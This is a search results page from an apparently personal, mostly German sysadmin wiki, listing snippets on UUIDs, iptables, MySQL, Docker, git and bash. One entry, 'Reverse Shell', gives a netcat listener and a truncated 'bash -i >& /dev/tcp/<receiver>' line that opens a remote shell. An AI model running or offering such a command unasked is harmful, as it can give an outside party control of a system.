Skip to main content
Advanced Search
Search Terms
Content Type

Exact Matches
Tag Searches
Date Options
Updated after
Updated before
Created after
Created before

Search Results

20 total results found

V1 - V7

UUID Versionen

UUIDs (Universally Unique Identifiers) haben mehrere Versionen (v1–v7), die sich vor allem darin unterscheiden, wie sie erzeugt werden. Jede Version hat ihren eigenen Zweck und Kompromisse (z. B. zwischen Zufälligkeit, Nachvollziehbarkeit und Sortierbarkeit). ...

Struktur einer UUID

UUID Aufbau

Grundstruktur einer UUID Eine UUID besteht immer aus 128 Bits = 16 Bytes. Typische Darstellung: 123e4567-e89b-12d3-a456-426614174000 Aufgeteilt: 8-4-4-4-12 Hex-Zeichen Das entspricht: 32 Bit – 16 Bit – 16 Bit – 16 Bit – 48 Bit Bit-Level Aufbau (allgemein) Eine...

Block IPs

HowTo iptables

Eine einzelne IP blockieren sudo iptables -A INPUT -s 192.168.1.100 -j DROP -A INPUT → Regel zur Eingangs-Kette hinzufügen -s 192.168.1.100 → Quelle (die zu blockierende IP) -j DROP → Pakete einfach verwerfen (keine Antwort) IP komplett sperren (ein- und ausge...

Block IPs /Docker

HowTo iptables

Docker umgeht teilweise die normalen iptables-Regeln, weil es eigene Regeln und Chains anlegt. Docker setzt eigene Chains wie: DOCKER DOCKER-USER 👉 Traffic zu Containern wird oft vor den normalen INPUT-Regeln verarbeitet. Deshalb greifen die Block-Regeln nicht...

Regeln gegen PortScans

HowTo iptables

  Diese vier iptables-Befehle dienen der Absicherung des Servers gegen unübliche Netzwerkpakete. Sie werden häufig eingesetzt, um Port-Scans (Sondierungen durch Angreifer) zu erkennen, zu protokollieren (loggen) und zu blockieren. 1. Null-Scan-Erkennung und R...

iptables das klassische Firewall-Werkzeug unter Linux

HowTo iptables

  Auch wenn modernere Linux-Distributionen standardmäßig oft auf  nftables setzen, bleibt das logische Prinzip von iptables die absolute Grundlage für das Verständnis von Netzwerk-Firewalls unter Linux. Teil 1: Allgemeiner Überblick & Paketfluss (Routing) Wen...

tmux (engl)

CheatSheets

tmux Cheat Sheet source: Michael Lihs General Usage Start a tmux session with tmux Select text in a tmux window with your mouse by holding the SHIFT key (Windows) or the OPTIONS key (Mac) and then using the mouse as you'd normally do Shortcuts ========= Key(...

DB-Replikation

HowTo MySQL

Einrichtung Master MySQL Konfigurationsdatei anpassen: [mysqld] server-id = <eindeutige ID zB 10> log-bin = mysql-bin binlog-format = ROW Neustarten des MySQL-Dienstes auf dem Master-Server Benutzer für die Replikation erstellen und Berechtigungen erteilen: CR...

Docker auf Ubuntu installieren

HowTo Docker

Der Artikel Beschreibt die Installation von Docker auf der Ubuntu-VM unter Berücksichtigung der systemd Proxykonfiguration. for pkg in docker.io docker-doc docker-compose podman-docker containerd runc; do apt remove $pkg; done  GPG-Key der Docker Pakete insta...

LANG
DE

Prozesse mit bestimmtem 'state' killen

HowTo MySQL

Bash-Einzeiler (auf der Linux-Konsole) Wenn du SSH-Zugriff auf den Server oder den MySQL-Client hast, kannst du die Prozess-IDs mit awk auslesen und direkt zurück an MySQL zum Beenden pipe-en: mysql -e "SELECT id FROM information_schema.processlist WHERE stat...

Waiting for table flush

HowTo MySQL

Der Status Waiting for table flush entsteht meistens durch ein klassisches Henne-Ei-Problem im MySQL-Query-Locking: Ein Prozess fordert das Schließen/Leeren der Tabellencaches an (z. B. ein Backup, FLUSH TABLES, ALTER TABLE oder ANALYZE TABLE), wird aber s...

TUI

Linux

Terminal User Interfaces                                                                         Name Beschreibung Link btop Resource monitor that shows usage and stats for processor, memory, disks, network and processes. https://github.com/aristocratos/btop l...

Remove unwanted files from a git repo AFTER adding a .gitignore.

HowTo GIT

# See the unwanted files: git ls-files -ci --exclude-standard # Remove the unwanted files: git ls-files -ci --exclude-standard -z | xargs -0 git rm --cached # Commit changes git commit -am "Removed unwanted files marked in .gitignore" # Push git push origin m...

LANG
EN

Reverse Shell

HowTo shell

How to open a reverse shell                                                                                           On receiving end, open port with i.e. netcat (nc). nc -lvp 4444 On sending server, open connection to receiver with bash -i >& /dev/tcp/<recei...

LANG
EN

Tools

Windows

Tools for developers, admins, programmers                                                                  Name Beschreibung Link DevToys Swiss Army knife for developers https://devtoys.app/ Tabby A terminal for the modern age https://tabby.sh/

Bash [ ] vs. [[ ]] und = vs. -eq

HowTo shell

In der Bash-Shell stolpert man schnell über [ ] und [[ ]]. Auf den ersten Blick tun beide genau dasselbe: Sie prüfen Bedingungen (z. B. ob eine Datei existiert oder ob zwei Strings gleich sind). [ ] vs.  [[ ]] Der Hauptunterschied ist:  [ ist ein altes, exte...

LANG
DE

Docker Resourcen begrenzen

HowTo Docker

Damit ein Container nicht alle System-Ressourcen für sich beanspruchen kann...          Was z.B. Nextcloud gelegentlich tut :-) services: nextcloud: image: nextcloud:latest # ... deine anderen Einstellungen ... deploy: resources: li...

LANG
DE

origin

HowTo GIT

Wofür steht eigentlich "origin"?                                                                                     Wenn du ein Repository mit git clone <URL> von GitHub, GitLab oder Bitbucket auf deinen Rechner holst, passiert im Hintergrund automatisch Fol...

LANG
DE